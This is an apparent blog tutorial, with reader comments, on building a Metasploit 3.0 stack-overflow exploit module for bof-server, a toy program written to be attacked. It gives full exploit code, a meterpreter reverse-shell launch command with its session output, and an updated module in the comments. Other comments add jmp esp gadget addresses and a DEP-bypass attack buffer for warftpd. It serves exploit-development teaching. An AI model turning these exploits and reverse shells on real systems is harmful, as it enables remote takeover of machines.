Writing exploits for Metasploit 3.0

This article is about writing exploit using the Metasploit Framework, for very secure software: bof-server ;)
Bof-server has been written especially to be exploited during this article, and as you already guessed by looking at it’s name, we will exploit a stack overflow bug. You can find bof-server here:
bof-server source code
bof-server binary for Windows

Before to start I would like to say that I am not a Metasploit expert, so feel free to correct me if something is not done the right way.

Bof-server
First of all, lets see how bof-server works. To start it on port 4242 use the command below:

> bof-server.exe 4242

The bof-server implements 2 commands : version and quit. Here is a typical usage of this highly critical application :) :

> telnet localhost 4242
> version
bof-server v0.01
> quit

Bof-server’s bug
Our bof-server permits remote code execution due to a stack based buffer overflow introduced by the getl(int fd, char *s) function. If you need more informations regarding stack based overflows you can read this famous article from Aleph1 Smashing the stack for fun and profit.
By passing long lines to bof-server, we will crash it :

> perl -e "print 'A'x1024" | nc localhost 4242
> telnet localhost 4242
Connecting To localhost...Could not open connection to the host, on port 4242: Connect failed

Exploitation using Metasploit
Now comes the interesting things … :)
To make a metasploit exploit module, the easiest way to start is to create myexploit.rb in the modules/exploits/os/type/ metasploit subdirectory.
In our case, we will create modules/exploits/windows/dummy/bof-server.rb containing this code:

require 'msf/core'
module Msf
  # class name should reflect directories
  class Exploits::Windows::Dummy::BofServer < Msf::Exploit::Remote 
    include Exploit::Remote::Tcp
 
    # exploit relative informations
    def initialize(info = {})
      super(update_info(info,
                        'Name'           => 'bof-server exploit',
                        'Description'    => 'This is an exploit for bof-server v0.01',
                        'Author'         => 'xipe', # You ;)
                        'Version'        => '1.0',
                        'Payload'        =>
                        {
                          'Space'    => 1024, # Space that payload can use.
                                                      # We don't know yet
                          'BadChars' => "\x00", # Chars that payloads should not
                                                         # contains. We don't know yet
                        },
                        'Platform'   => 'win',
                        'Targets'    => 
                        [
                         [ 'Windows XP SP2 English', 
                             { 
                               'Platform' =>'win', 
                               'Ret' => 0xaaaaaaaa # Return address. We don't know yet
                             }
                          ],
                        ],
                        'DefaultTarget' => 0))
    end
 
    def check
      # Here we should check if the target is vulnerable
      # This function should not crash the target
    end
 
    def exploit
      # Here we should exploit the target
    end
  end
end

Now it’s time to get missing informations, we already know that sending 1024 bytes of data makes our server crash.
Metasploit gives a very cool tool which permits you to know how many bytes need to be sent to fill the remote buffer and crash the target. This tool is composed of 2 scripts: pattern_create.rb and pattern_offset.rb.
We will not use pattern_create.rb, but the pattern_create() function in your exploit script instead.
Here is your new exploit function of our script:

    def exploit
      # Here we should exploit the target                                                                                                                                                                                                                                             
      connect
      buf = pattern_create(1024)
      sock.put(buf)
      sock.get
      disconnect
    end

We can now fire-up our preferred debugger, attach the bof-server process, and start our exploit using msf_cli.

> msfcli windows/dummy/bof-server PAYLOAD=windows/meterpreter/bind_tcp RPORT=4242 RHOST=127.0.0.1 E

The bof-server should have crashed. Giving the crashing EIP address to pattern_offset.rb will return us how many bytes are needed to reach the saved return value.

> pattern_offset.rb 72413372
520

As you can see pattern_offest.rb returned 520, so 520 bytes + 4 are necessary to make the target crash.
Looking at the stack we should also be able to find the start address of the overflowed buffer (Here I got 0x22fb65).
We now have quite all the informations we needed for our exploit. The only things remaining are the BadChars.
BadChars are characters that should not be sent to the target, because the target modifies them, or behaves differently when finding them.
Again, in our debugger, by looking at the assembly code (around 0x4146D) we found that the target is doing something special with the 0x0A, 0x0D and 0×20 characters.

Using all this informations we are now able to put them in our exploit script.
Our exploit script looks like this:

require 'msf/core'
module Msf
  # class name should reflect directories                                                                                                                                                                                                                                              
  class Exploits::Windows::Dummy::BofServer < Msf::Exploit::Remote
    include Exploit::Remote::Tcp
 
    # exploit relative informations                                                                                                                                                                                                                                                    
    def initialize(info = {})
      super(update_info(info,
                        'Name'           => 'bof-server exploit',
                        'Description'    => 'This is an exploit for bof-server v0.01',
                        'Author'         => 'xipe', # You ;)                                                                                                                                                                                                                           
                        'Version'        => '1.0',
                        'Payload'        =>
                        {
                          'Space'    => 500, # Space that payload can use.                                                                                                                                                                                                             
                                             # We found that we needed 520 bytes to make the                                                                                                                                                                                           
                                             # bof-server crash, but we will only use 500, as                                                                                                                                                                                          
                                             # the end of this space can be modified by the target                                                                                                                                                                                      
                                             # before returning.                                                                                                                                                                                                                       
                          'StackAdjustment' => -3500, # Modify stack pointer at shellcode start                                                                                                                                                                                        
                                                      # so it can use the stack without writing                                                                                                                                                                                        
                                                      # on itself.                                                                                                                                                                                                                     
                          'BadChars' => "\x00\x20\x0D\x0A", # Chars that payloads should not                                                                                                                                                                                           
                                                            # contains.                                                                                                                                                                                                                
                        },
                        'Platform'   => 'win',
                        'Targets'    =>
                        [
                         [ 'Windows XP SP2 English',
                             {
                               'Platform' =>'win',
                               'Ret' => 0x22fb65 # Return address.                                                                                                                                                                                                                     
                             }
                          ],
                        ],
                        'DefaultTarget' => 0))
    end
 
    def check
      # Here we should check if the target is vulnerable                                                                                                                                                                                                                               
      # This function should not crash the target                                                                                                                                                                                                                                      
      connect
      buf = "version\n"
      sock.put(buf)
      res = sock.get
      disconnect
      if res =~ /bof-server v0.01/
        return Exploit::CheckCode::Vulnerable
      end
      return Exploit::CheckCode::Safe
    end
 
    def exploit
      # Here we should exploit the target                                                                                                                                                                                                                                              
      connect
      buf = payload.encoded # Size of the payload is defined by Payload.Space in exploit infos.                                                                                                                                                                                       
      buf << make_nops(20) # Some more bytes, as we defined the payload to be 500 bytes long                                                                                                                                                                                           
      buf << [target.ret].pack('V') # Return address                                                                                                                                                                                                                                   
      sock.put(buf) # send data                                                                                                                                                                                                                                                        
      sock.get
      handler # pass the connection to the payload handler                                                                                                                                                                                                                             
      disconnect
    end
  end
end

The only remaing thing is to test our exploit and to have fun :

> msfcli windows/dummy/bof-server PAYLOAD=windows/meterpreter/reverse_tcp RPORT=4242 RHOST=172.20.0.2 LHOST=172.20.0.1 E
[*] Started reverse handler
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (81931 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (172.20.0.1:4444 -> 172.20.0.2:1109)
 
meterpreter > ls
 
Listing: Z:\work\test\exploit\metasploit
========================================
 
Mode              Size   Type  Last modified                   Name            
----              ----   ----  -------------                   ----            
40777/rwxrwxrwx   0      dir   Thu Jan 01 01:00:00 +0100 1970  .               
40777/rwxrwxrwx   0      dir   Thu Jan 01 01:00:00 +0100 1970  ..              
100666/rw-rw-rw-  3001   fil   Thu Jan 01 01:00:00 +0100 1970  .gdbtkinit      
100666/rw-rw-rw-  26814  fil   Thu Jan 01 01:00:00 +0100 1970  bof-server      
100666/rw-rw-rw-  3200   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.c    
100666/rw-rw-rw-  3211   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.c~   
100777/rwxrwxrwx  26665  fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.exe  
100666/rw-rw-rw-  2880   fil   Thu Jan 01 01:00:00 +0100 1970  bof-server.o    
 
meterpreter >

I hope you had as much fun as I had while writing this article, and I would like to thanks all the Metasploit team for giving us a such cool framework !

18 Responses to “Writing exploits for Metasploit 3.0”

  1. Phn1x Says:

    Great introductory Article on writing modules for MSF 3.0. Perhaps next article you can highlight some of the more advanced features of the REX API that obfuscates the data to avoid IDS signatures.

    I’d also like to compliment you on your use of the MSF Utilities, It’s rare that people show them in their postings which leaves the reader wondering how you got from A -> C.

    - Phn1x

  2. CG Says:

    i’ll 2nd that, good post. keep it coming. a little more advanced stack overflow would be nice where its not quite JMP ESP, where we have to so a little short jump or something would be cool.

    -CG

  3. mh Says:

    very nice done .
    i am hoping you will continue writing on more advanced topics , DEP bypass , Format Strings , etc . thanks

  4. no use for a name Says:

    Amazing article… Hope you’ll continue in this vein.

  5. Joe McCray Says:

    Wow – this is pretty good……..seriously bro keep up the good work. I so dearly wish there was more stuff out there like this.

    j0e

  6. Anonymous Says:

    Hey for us total noobs could you do a follow up post on what free debugger to use, how to attach it and find the EIP address? Thanks for the great post.

  7. Anon Says:

    Very nice work!
    respect to you

  8. Anonymous Says:

    A good free debugger is OllyDbg ( http://www.ollydbg.de ). This debugger is my favorite because it allows the use of being the Just-In-Time debugger. which would allow you to attach it as soon as it crash by hitting the debug button on the windows dialog box and all your registers and the EIP will be on the right hand side ;-) also just a hint, look at the ESP register! it has the stack pointer in it. just use findjmp.exe to find a jmp esp in a windows DLL.

    example of output:

    —————————————————————————-
    Findjmp, Eeye, I2S-LaB
    Findjmp2, Hat-Squad
    Scanning kernel32.dll for code useable with the esp register
    —————————————————————————-
    0x7C82D9FB call esp
    0x7C8369D8 call esp
    —————————————————————————-
    Finished Scanning kernel32.dll for code useable with the esp register
    Found 2 usable addresses
    —————————————————————————-

    so you could use 0x7C82D9FB as your RET address to fill the EIP

  9. Frederic Says:

    Very good! Nice job! Would be awesome if you created a serie of articles about how to create exploits using Metasploit. Please, all detailed for beginners.
    Greate job.

  10. abhijit mohanta Says:

    It’s a good tutorial on adding exploit .But you should keep in mind while using return address (‘Ret’ => 0x22fb65 # Return address).A return address should be address of some dll module and not the address directly on stack.An address of a jmp esp or something lke that.
    Please give reply

  11. xipe Says:

    Hi abhijit,

    In this case, the shellcode is on the stack, and the stack address is predictable, so we jump there.
    The same result can be achieved in other ways, but this way was the “easy” way IMO.

    - Xipe

  12. Bilal Says:

    Hi

    You are a star, you have impressed me and helped me a lot but writing this article. I am doing my project on buffer overflow attack and i have found this article very helpful

    Thanks
    Bilal

  13. abhijit mohanta Says:

    Hi,

    I have one confusion in adding a exploit module to metasploit. that would exploit warftpd on xp sp2 bypass dep.

    my $evil = “\xcc” x 485;
    $evil .= “\x80\x20\x95\x7c”;
    $evil .= “\xff\xff\xff\xff”;
    $evil .= “\xf8\xd3\x91\x7c”;
    $evil .= “\xff\xff\xff\xff”;
    $evil .= “\xcc” x 0×54;
    $evil .= pack(“V”, $target->[1]);
    $evil .= $shellcode;
    $evil .= “\xcc” x (1024 – length($evil));

    above is attack vector for DEP bypass acc to skape skywing paper “Bypassing Windows Hardware-enforced Data Execution Prevention”.It is for the metasploit 2.7 that war in perl.

    Can u please tell me how to code this in ruby.I have tried it but was not sucessful.

    Abhijit

  14. Elv13 Says:

    Hi, I try to use this exploit, but always fail with this error:
    /opt/metasploit/framework-3.2/modules/exploits/linux/dummy/bof-server.rb: NameError /opt/metasploit/framework-3.2/data/msfweb/vendor/rails/activerecord/lib/../../activesupport/lib/active_support/dependencies.rb:116:in `qualified_const_defined?’: “#::Msf” is not a valid constant name!

    I use metasploit from Linux and ported your C code to Linux without much trouble. It seem to work (server crash normally), but I am not able to launch the exploit. I also installed bufserver on windows and try to hack it from Linux, but I fail too. Whats wrong?

  15. xipe Says:

    Hi Elv13,

    With metasploit 3.2, some things change concerning the class definition.
    You should replace :

    require 'msf/core'
    module Msf
      # class name should reflect directories
      class Exploits::Windows::Dummy::BofServer < Msf::Exploit::Remote
        include Exploit::Remote::Tcp

    with :

    require 'msf/core'
     
    class Metasploit3 < Msf::Exploit::Remote
            include Msf::Exploit::Remote::Tcp

    So the new file would be:

    require 'msf/core'
      # class name should reflect directories                                                                                                                                                                                                                                              
      class Metasploit3 < Msf::Exploit::Remote
        include Msf::Exploit::Remote::Tcp
     
        # exploit relative informations
        def initialize(info = {})
          super(update_info(info,
                            'Name'           => 'bof-server exploit',
                            'Description'    => 'This is an exploit for bof-server v0.01',
                            'Author'         => 'xipe', # You ;)
                            'Version'        => '1.0',
                            'Payload'        =>
                            {
                              'Space'    => 500, # Space that payload can use.
                                                 # We found that we needed 520 bytes to make the
                                                 # bof-server crash, but we will only use 500, as
                                                 # the end of this space can be modified by the target
                                                 # before returning.
                              'StackAdjustment' => -3500, # Modify stack pointer at shellcode start
                                                          # so it can use the stack without writing
                                                          # on itself.
                              'BadChars' => "\x00\x20\x0D\x0A", # Chars that payloads should not
                                                                # contains.
                            },
                            'Platform'   => 'win',
                            'Targets'    =>
                            [
                             [ 'Windows XP SP2 English',
                                 {
                                   'Platform' =>'win',
                                   'Ret' => 0x22fb65 # Return address.                                                                                                                                                                                                                     
                                 }
                              ],
                            ],
                            'DefaultTarget' => 0))
        end
     
        def check
          # Here we should check if the target is vulnerable                                                                                                                                                                                                                               
          # This function should not crash the target                                                                                                                                                                                                                                      
          connect
          buf = "version\n"
          sock.put(buf)
          res = sock.get
          disconnect
          if res =~ /bof-server v0.01/
            return Exploit::CheckCode::Vulnerable
          end
          return Exploit::CheckCode::Safe
        end
     
        def exploit
          # Here we should exploit the target 
          connect
          buf = payload.encoded # Size of the payload is defined by Payload.Space in exploit infos.
          buf << make_nops(20) # Some more bytes, as we defined the payload to be 500 bytes long
          buf << [target.ret].pack('V') # Return address
          sock.put(buf) # send data
          sock.get
          handler # pass the connection to the payload handler
          disconnect
        end
    end

    Best regards,
    - Xipe

  16. matad0r Says:

    Hi !
    Very very helpful tutorial !
    Thanks !

  17. anony Says:

    Like the tutorial however I’m having some issues reversing your final product written for 3.2
    The metasploit 3.2 version you posted in the comments works just fine but i would like to go through the tutorial still. Because your 3.2 version is the final product i must make some changes so that it can be used in step one of your tutorial. When i do this I keep getting errors such as “undefined method ‘length’”. Have any time for a 3.2 rewrite?

    Thanks, hope to see another how-to along these lines.

  18. xipe Says:

    Hi anony,

    I tried the exploit (the one you can get in my comment of Sept. 29th 2009) with 3.2 and the latest trunk version (3.4.1-dev r9628) and it seems to work.

    Can you post or mail me your code and I will check ?

    Best regards,
    - Xipe

Leave a Reply

Security Code: